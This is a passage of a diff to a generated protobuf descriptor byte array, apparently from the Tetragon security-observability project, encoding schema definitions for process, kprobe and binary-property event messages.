0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x42, - 0x69, 0x6e, 0x61, 0x72, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x52, - 0x10, 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, - 0x73, 0x12, 0x28, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x52, - 0x65, 0x63, 0x6f, 0x72, 0x64, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, 0x3c, 0x0a, 0x0c, 0x69, - 0x6e, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x5f, 0x74, 0x72, 0x65, 0x65, 0x18, 0x14, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x42, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x0a, 0x69, - 0x6e, 0x49, 0x6e, 0x69, 0x74, 0x54, 0x72, 0x65, 0x65, 0x22, 0x96, 0x01, 0x0a, 0x0b, 0x50, 0x72, - 0x6f, 0x63, 0x65, 0x73, 0x73, 0x45, 0x78, 0x65, 0x63, 0x12, 0x2b, 0x0a, 0x07, 0x70, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, - 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x07, 0x70, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x29, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, - 0x74, 0x12, 0x2f, 0x0a, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x03, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, - 0x72, 0x73, 0x22, 0xf6, 0x01, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x45, 0x78, - 0x69, 0x74, 0x12, 0x2b, 0x0a, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, - 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, - 0x29, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, - 0x73, 0x73, 0x52, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x69, - 0x67, 0x6e, 0x61, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x69, 0x67, 0x6e, - 0x61, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x2e, 0x0a, 0x04, 0x74, 0x69, - 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, - 0x74, 0x61, 0x6d, 0x70, 0x52, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x09, 0x61, 0x6e, - 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x52, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x8a, 0x02, 0x0a, 0x0a, - 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x61, - 0x6d, 0x69, 0x6c, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x61, 0x6d, 0x69, - 0x6c, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, - 0x74, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, - 0x74, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x61, 0x64, 0x64, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x73, 0x61, 0x64, 0x64, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x64, 0x61, 0x64, 0x64, - 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x64, 0x61, 0x64, 0x64, 0x72, 0x12, 0x14, - 0x0a, 0x05, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x73, - 0x70, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x63, 0x6f, - 0x6f, 0x6b, 0x69, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x63, 0x6f, 0x6f, 0x6b, - 0x69, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, 0x22, 0xc9, 0x02, 0x0a, 0x09, 0x4b, 0x70, 0x72, - 0x6f, 0x62, 0x65, 0x53, 0x6b, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x68, 0x61, 0x73, 0x68, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x68, 0x61, 0x73, 0x68, 0x12, 0x10, 0x0a, 0x03, 0x6c, 0x65, - 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, - 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, - 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x6d, 0x61, 0x72, 0x6b, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x14, 0x0a, 0x05, - 0x73, 0x61, 0x64, 0x64, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x61, 0x64, - 0x64, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x64, 0x61, 0x64, 0x64, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x64, 0x61, 0x64, 0x64, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x70, 0x6f, 0x72, - 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x14, - 0x0a, 0x05, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x64, - 0x70, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x05, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x20, 0x0a, 0x0c, 0x73, 0x65, - 0x63, 0x5f, 0x70, 0x61, 0x74, 0x68, 0x5f, 0x6c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0a, 0x73, 0x65, 0x63, 0x50, 0x61, 0x74, 0x68, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0d, - 0x73, 0x65, 0x63, 0x5f, 0x70, 0x61, 0x74, 0x68, 0x5f, 0x6f, 0x6c, 0x65, 0x6e, 0x18, 0x0b, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x73, 0x65, 0x63, 0x50, 0x61, 0x74, 0x68, 0x4f, 0x6c, 0x65, 0x6e, - 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x16, 0x0a, 0x06, - 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x61, - 0x6d, 0x69, 0x6c, 0x79, 0x22, 0x50, 0x0a, 0x0e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6f, - 0x63, 0x6b, 0x61, 0x64, 0x64, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x12, 0x12, - 0x0a, 0x04, 0x61, 0x64, 0x64, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x61, 0x64, - 0x64, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x6f, 0x72, 0x74, 0x22, 0x22, 0x0a, 0x0c, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, - 0x4e, 0x65, 0x74, 0x44, 0x65, 0x76, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x6c, 0x0a, 0x0a, 0x4b, 0x70, - 0x72, 0x6f, 0x62, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x6d, 0x6f, 0x75, 0x6e, - 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, - 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x6c, 0x0a, 0x0a, 0x4b, 0x70, 0x72, 0x6f, - 0x62, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x75, 0x65, 0x52, 0x05, 0x6c, 0x69, 0x6e, 0x6b, 0x73, 0x22, 0x55, 0x0a, 0x0e, 0x46, 0x69, 0x6c, + 0x65, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x05, 0x69, + 0x6e, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x6f, 0x64, 0x65, 0x50, 0x72, 0x6f, 0x70, 0x65, + 0x72, 0x74, 0x69, 0x65, 0x73, 0x52, 0x05, 0x69, 0x6e, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, - 0x12, 0x14, 0x0a, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x50, 0x0a, 0x14, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, - 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x74, 0x65, 0x73, 0x12, 0x1b, - 0x0a, 0x09, 0x62, 0x79, 0x74, 0x65, 0x73, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x08, 0x62, 0x79, 0x74, 0x65, 0x73, 0x41, 0x72, 0x67, 0x12, 0x1b, 0x0a, 0x09, 0x6f, - 0x72, 0x69, 0x67, 0x5f, 0x73, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, - 0x6f, 0x72, 0x69, 0x67, 0x53, 0x69, 0x7a, 0x65, 0x22, 0xbe, 0x01, 0x0a, 0x0a, 0x4b, 0x70, 0x72, - 0x6f, 0x62, 0x65, 0x43, 0x72, 0x65, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, - 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, - 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x12, 0x38, 0x0a, 0x09, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x09, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x3c, 0x0a, 0x0b, 0x69, - 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0e, - 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, - 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x69, 0x6e, - 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x22, 0x5d, 0x0a, 0x11, 0x4b, 0x70, 0x72, - 0x6f, 0x62, 0x65, 0x4c, 0x69, 0x6e, 0x75, 0x78, 0x42, 0x69, 0x6e, 0x70, 0x72, 0x6d, 0x12, 0x12, - 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, - 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, - 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x59, 0x0a, 0x10, 0x4b, 0x70, 0x72, 0x6f, - 0x62, 0x65, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x49, 0x6e, - 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x22, 0xd5, 0x01, 0x0a, 0x13, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x6c, - 0x65, 0x76, 0x65, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x49, 0x6e, 0x74, - 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x6c, 0x65, 0x76, 0x65, 0x6c, 0x12, 0x32, - 0x0a, 0x05, 0x6f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, + 0x22, 0xff, 0x01, 0x0a, 0x10, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, + 0x72, 0x74, 0x69, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x06, 0x73, 0x65, 0x74, 0x75, 0x69, 0x64, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x06, 0x73, 0x65, 0x74, 0x75, 0x69, 0x64, 0x12, 0x34, 0x0a, 0x06, 0x73, + 0x65, 0x74, 0x67, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, + 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x73, 0x65, 0x74, 0x67, 0x69, + 0x64, 0x12, 0x51, 0x0a, 0x12, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x5f, + 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x64, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x22, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, + 0x64, 0x52, 0x11, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x43, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x64, 0x12, 0x2c, 0x0a, 0x04, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x46, 0x69, + 0x6c, 0x65, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, 0x73, 0x52, 0x04, 0x66, 0x69, + 0x6c, 0x65, 0x22, 0x20, 0x0a, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x63, 0x6f, 0x72, 0x64, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, + 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, + 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8b, 0x07, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x12, 0x17, 0x0a, 0x07, 0x65, 0x78, 0x65, 0x63, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x06, 0x65, 0x78, 0x65, 0x63, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x03, 0x70, + 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, + 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x70, 0x69, 0x64, 0x12, 0x2e, 0x0a, 0x03, 0x75, + 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, + 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x75, 0x69, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x63, + 0x77, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x63, 0x77, 0x64, 0x12, 0x16, 0x0a, + 0x06, 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x62, + 0x69, 0x6e, 0x61, 0x72, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x61, 0x72, 0x67, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x74, 0x61, + 0x72, 0x74, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x6f, 0x77, 0x6e, - 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, - 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x52, 0x02, 